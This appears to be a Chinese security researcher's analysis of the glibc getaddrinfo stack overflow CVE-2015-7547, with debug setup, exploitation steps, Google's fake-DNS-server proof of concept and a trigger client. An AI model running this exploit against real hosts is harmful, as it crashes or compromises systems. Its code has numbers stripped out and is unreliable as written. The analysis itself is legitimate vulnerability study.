catalogue

. 漏洞简述
. 调试环境搭建
. 漏洞利用
. 漏洞分析
. 缓解修复方案

1. 漏洞简述

0x1: 函数调用顺序

getaddrinfo (getaddrinfo.c) ->
_nss_dns_gethostbyname4_r (dns-host.c) ->
__libc_res_nsearch (res_query.c) ->
__libc_res_nquery (res_query.c) ->
__libc_res_nsend (res_send.c) ->
send_vc (res_send.c)

0x2: 总结概括

. 该漏洞存在于resolv/res_send.c文件中,当getaddrinfo()函数被调用时如果DNS Server端返回一个超大包时会触发该漏洞
. glibc中send_dg函数中负责向DNS Server发送DNS解析Request,并将收到的DNS Response回包保存在本地栈空间中
. 但是glibc对DNS Response超大包的判断存在逻辑绕过漏洞,导致原始的边界判断、buffer栈空间reallocate逻辑被绕过,直接导致的结果就是相同的栈空间被用于多次处理DNS Response回包
. 经过多次的超大畸形DNS Response回包之后,导致Stack Smash,父函数空间被非法覆盖,最终导致在__libc_res_nquery访问非法地址,segment fault

Relevant Link:

http://www.freebuf.com/news/96244.html
http://news.wooyun.org/6c6e454262397856304f5a7447794631514a4d7864773d3d?from=timeline&isappinstalled=0
https://googleonlinesecurity.blogspot.ca/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html

2. 调试环境搭建

. 安装ddd
wget http://ftp.gnu.org/gnu/ddd/ddd-3.2.1.tar.gz
tar zvxf ddd-3.2..tar.gz
cd ddd-3.2.
./configure --prefix=/usr/local/ddd
make & make install
cd /usr/local/ddd/bin
ddd . 准备glibc源码、debug符号表
sudo apt-get install libc6-dbg
sudo apt-get source libc6-dev
sudo apt-get install dpkg-dev . 准备debug版poc
wget https://codeload.github.com/fjserna/CVE-2015-7547/zip/master
unzip master
vim Makefile
加入-g编译选项

3. 漏洞利用

. 控制DNS Server,并能够配置A、AAAA记录的解析逻辑
. 伪造的DNS Server第一个回包需要构造为2048byte大小
) 完整填充2048的栈空间
) send_dg会尝试重用旧的栈区,但是因为剩余空间为0,故失败
) 新的buffer会通过malloc被申请,但是因为代码逻辑bug,导致就的栈空间被复用,并且使用上限为65535
) 回包的数据格式必须正确
. 伪造的DNS Server第二个回包
) 构造畸形包,强制让__libc_res_nsend重试,这可以导致栈指针指向的栈空间被设置了错误的上限
. 伪造的DNS Server第三个回包
) 2048bytes,正常回包
) 剩下的63487bytes可以防止攻击载荷
) recvfrom最终导致了stack smash

CVE-2015-7547-poc.py

#!/usr/bin/python
#
# Copyright Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Thomas Garnier <thgarnie@google.com> import socket
import time
import struct
import threading IP = '127.0.0.1' # Insert your ip for bind() here...
ANSWERS1 = terminate = False
last_reply = None
reply_now = threading.Event() def dw(x):
return struct.pack('>H', x) def dd(x):
return struct.pack('>I', x) def dl(x):
return struct.pack('<Q', x) def db(x):
return chr(x) def udp_thread():
global terminate # Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, )
sock_udp.bind((IP, )) reply_counter =
counter = - answers = [] while not terminate:
data, addr = sock_udp.recvfrom()
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[:])[]
query_udp = data[:] # Send truncated flag... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw() # questions
data += dw() # answers
data += dw() # authoritative
data += dw() # additional
data += query_udp # question
data += '\x00' * # Need a long DNS response to force malloc answers.append((data, addr)) if len(answers) != :
continue counter += if counter % == :
answers = answers[::-] time.sleep(0.01)
sock_udp.sendto(*answers.pop())
reply_now.wait()
sock_udp.sendto(*answers.pop()) sock_udp.close() def tcp_thread():
global terminate
counter = - #Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, )
sock_tcp.bind((IP, ))
sock_tcp.listen() while not terminate:
conn, addr = sock_tcp.accept()
counter +=
print 'Connected with ' + addr[] + ':' + str(addr[]) # Read entire packet
data = conn.recv()
print '[TCP] Total Data len recv ' + str(len(data)) reqlen1 = socket.ntohs(struct.unpack('H', data[:])[])
print '[TCP] Request1 len recv ' + str(reqlen1)
data1 = data[:+reqlen1]
id1 = struct.unpack('>H', data1[:])[]
query1 = data[:] # Do we have an extra request?
data2 = None
if len(data) > +reqlen1:
reqlen2 = socket.ntohs(struct.unpack('H', data[+reqlen1:+reqlen1+])[])
print '[TCP] Request2 len recv ' + str(reqlen2)
data2 = data[+reqlen1+:+reqlen1++reqlen2]
id2 = struct.unpack('>H', data2[:])[]
query2 = data2[:] # Reply them on different packets
data = ''
data += dw(id1) # id
data += dw(0x8180) # flags
data += dw() # questions
data += dw(ANSWERS1) # answers
data += dw() # authoritative
data += dw() # additional
data += query1 # question for i in range(ANSWERS1):
answer = dw(0xc00c) # name compressed
answer += dw() # type A
answer += dw() # class
answer += dd() # ttl
answer += dw() # data length
answer += 'D' * # data data += answer data1_reply = dw(len(data)) + data if data2:
data = ''
data += dw(id2)
data += 'B' * ()
data2_reply = dw(len(data)) + data
else:
data2_reply = None reply_now.set()
time.sleep(0.01)
conn.sendall(data1_reply)
time.sleep(0.01)
if data2:
conn.sendall(data2_reply) reply_now.clear() sock_tcp.shutdown(socket.SHUT_RDWR)
sock_tcp.close() if __name__ == "__main__": t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True

CVE-2015-7547-client.c

/* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/ #include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <err.h>
#include <stdio.h>
#include <string.h> int
main(void)
{
struct addrinfo hints, *res;
int r; memset(&hints, , sizeof(hints));
hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "",
&hints, &res)) != )
errx(, "getaddrinfo: %s", gai_strerror(r)); return ;
}

测试过程

. 伪造一个假的DNS Server 作为中间人,来验证该漏洞
. 更改DNS 解析为 127.0.0.1,刷新DNS 缓存 sudo /etc/init.d/nscd restart
. python CVE---poc.py
. 编译 CVE---client.c
. 运行编译 CVE---client
. 若含有漏洞,会造成Segmentation Fault

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alt="" />

4. 漏洞分析

CVE-2015-7547-client.c

/* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/ #include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <err.h>
#include <stdio.h>
#include <string.h> int
main(void)
{
struct addrinfo hints, *res;
int r; memset(&hints, , sizeof(hints));
hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "",
&hints, &res)) != )
errx(, "getaddrinfo: %s", gai_strerror(r)); return ;
}

IPv4中使用gethostbyname()函数完成主机名到地址解析,这个函数仅仅支持IPv4,且不允许调用者指定所需地址类型的任何信息,返回的结构只包含了用于存储IPv4地址的空间。IPv6中引入了getaddrinfo()的新API,它是协议无关的,既可用于IPv4也可用于IPv6。getaddrinfo函数能够处理名字到地址以及服务到端口这两种转换,返回的是一个addrinfo的结构(列表)指针而不是一个地址清单。这些addrinfo结构随后可由套接口函数直接使用。如此以来,getaddrinfo函数把协议相关性安全隐藏在这个库函数内部。应用程序只要处理由getaddrinfo函数填写的套接口地址结构。该函数在 POSIX规范中定义了
在r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)下断点,跟进分析

gdb CVE---client
break
directory /home/ubuntu1404/LittleHann/CVE/glibc/eglibc-2.19/sysdeps/posix
directory /home/ubuntu1404/LittleHann/CVE/glibc/eglibc-2.19/resolv

通过segment fault直接断点在__libc_res_nquery函数中
/eglibc-2.19/resolv/res_query.c

int
__libc_res_nquery(res_state statp,
const char *name, /* domain name */
int class, int type, /* class and type of query */
u_char *answer, /* buffer to put answer */
int anslen, /* size of answer buffer */
u_char **answerp, /* if buffer needs to be enlarged */
u_char **answerp2,
int *nanswerp2,
int *resplen2)
{
..
n = __libc_res_nsend(statp, query1, nquery1, query2, nquery2, answer,
anslen, answerp, answerp2, nanswerp2, resplen2);
..

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alt="" />

函数执行后,answerp2指向的栈空间被覆盖,而之后answerp2指向的地址会被取地址,导致segment fault,跟进__libc_res_nsend分析
\eglibc-2.19\libc\resolv\res_send.c

int
__libc_res_nsend(res_state statp, const u_char *buf, int buflen,
const u_char *buf2, int buflen2,
u_char *ans, int anssiz, u_char **ansp, u_char **ansp2,
int *nansp2, int *resplen2)
{
..
n = send_dg(statp, buf, buflen, buf2, buflen2,
&ans, &anssiz, &terrno,
ns, &v_circuit, &gotsomewhere, ansp,
ansp2, nansp2, resplen2);
..

继续跟进send_dg

} else if (pfd[].revents & POLLIN) {    //读取DNS Server返回的回包
int *thisanssizp;
u_char **thisansp;
int *thisresplenp; if ((recvresp1 | recvresp2) == || buf2 == NULL) {
thisanssizp = anssizp; //不管是否接收到回包,thisanssizp 都赋值为 anssizp(可能因为网络延迟),POC返回的anssizp为2048,刚好充满栈空间(user supplied buffer (from _nss_dns_gethostbyname4_r))
thisansp = anscp ?: ansp;

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alt="" />

        if (*thisanssizp < MAXPACKET
/* Yes, we test ANSCP here. If we have two buffers
both will be allocatable. */
&& anscp
#ifdef FIONREAD
&& (ioctl (pfd[].fd, FIONREAD, thisresplenp) <
|| *thisanssizp < *thisresplenp)
#endif
) { //buffer is sufficient and `thisresplenp` is 2048 and that fits in the user buffer
u_char *newp = malloc (MAXPACKET); //第一次回包的长度已经占满了2048栈空间,调用malloc申请新的空间(大小为MAXPACKET)
if (newp != NULL) {
*anssizp = MAXPACKET;
*thisansp = ans = newp; //栈指针指向新申请的栈空间
}
}
HEADER *anhp = (HEADER *) *thisansp;
socklen_t fromlen = sizeof(struct sockaddr_in6);
assert (sizeof(from) <= fromlen);
*thisresplenp = recvfrom(pfd[].fd, (char*)*thisansp, //接收UDP回包

